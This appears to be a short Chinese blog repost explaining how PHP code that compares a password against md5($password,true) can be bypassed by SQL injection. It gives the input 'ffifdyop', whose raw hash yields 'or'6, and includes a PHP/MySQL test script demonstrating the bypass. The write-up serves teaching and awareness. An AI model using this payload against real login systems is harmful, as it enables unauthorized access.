md5($str,true)注入

来源:互联网 发布:腾讯tim ubuntu 编辑:程序博客网 时间:2024/05/22 03:07

今天看到 $sql = "SELECT * FROM admin WHERE pass = '".md5($password,true)."'"; 这样一个sql,其实可以注入。

思路比较明确,当md5后的hex转换成字符串后,如果包含 ‘or’ 这样的字符串,那整个sql变成

SELECT * FROM admin WHERE pass = ''or'6<trash>'

很明显可以注入了。

难点就在如何寻找这样的字符串,我只是顺手牵羊,牵了一个。。

提供一个字符串:ffifdyop

md5后,276f722736c95d99e921722cf9ed621c

再转成字符串: ‘or’6

测试代码:

<?php error_reporting(0);$link = mysql_connect('localhost', 'root', '');if (!$link) {   die('Could not connect to MySQL: ' . mysql_error()); } // 选择数据库$db = mysql_select_db("test", $link);if(!$db){  echo 'select db error';  exit();}// 执行sql$password = "ffifdyop";$sql = "SELECT * FROM admin WHERE pass = '".md5($password,true)."'";var_dump($sql);$result=mysql_query($sql) or die('<pre>' . mysql_error() . '</pre>' );$row1 = mysql_fetch_row($result);var_dump($row1);mysql_close($link);?>

效果

原创粉丝点击